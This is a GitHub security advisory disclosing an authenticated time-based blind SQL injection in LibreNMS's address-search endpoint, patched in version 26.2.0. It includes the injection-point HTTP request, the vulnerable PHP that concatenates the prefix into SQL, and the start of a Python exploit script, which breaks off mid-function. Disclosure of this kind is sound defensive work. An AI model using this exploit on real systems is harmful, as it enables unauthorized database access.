GitHub Security Advisory: GHSA-79q9-wc6p-cf92
Package: librenms/librenms (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 26.2.0
Patched in: 26.2.0

Summary: LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php

Details:
### Summary
A time-based blind SQL injection vulnerability exists in `address-search.inc.php` via the `address` parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.


### Details
This vulnerability requires authentication and is exploitable by any authenticated user.

The vulnerable endpoint is at `/ajax_table.php` with the following request displaying the injection point.
```
POST /ajax_table.php HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/search
Cookie: laravel_session=[Authenticated user cookie]

current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&search_type=ipv4&device_id=1&interface=&address=127.0.0.1/aa<injected SQL here>
```

Within `includes/html/table/address-search.inc.php`, the user-controlled `$prefix` variable derived from the `address` parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.

```php
// Lines 16-35, 51-53
$address = $vars['address'] ?? '';
$prefix = '';
$sort = trim((string) $sort);

if (str_contains($address, '/')) {
    [$address, $prefix] = explode('/', $address, 2);
}

if ($search_type == 'ipv4') {
    $sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D';
    $sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' ';

    if (! empty($address)) {
        $sql .= ' AND ipv4_address LIKE ?';
        $param[] = "%$address%";
    }

    if (! empty($prefix)) {
        $sql .= " AND ipv4_prefixlen='$prefix'";
    }

......

    if (! empty($prefix)) {
        $sql .= " AND ipv6_prefixlen = '$prefix'";
    }
```


### PoC
The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of `SELECT CURRENT_USER()` from the database:
```python
#!/usr/bin/python3

import requests
import sys
import re

from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Configured to be used with burpsuite on the default burpsuite port of 8080
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

# When None is returned it means that all values have been retrieved from the queried value in the target DB
def blind_binsearch_sqli(inj_str):
    try:
        a = range(32,126)
        start = 0
        end = len(a)
        while start <= end:
            mid = (start + end) // 2
            target_equal = inj_str.replace("[CHAR]", str(a[mid]))
            target_less = inj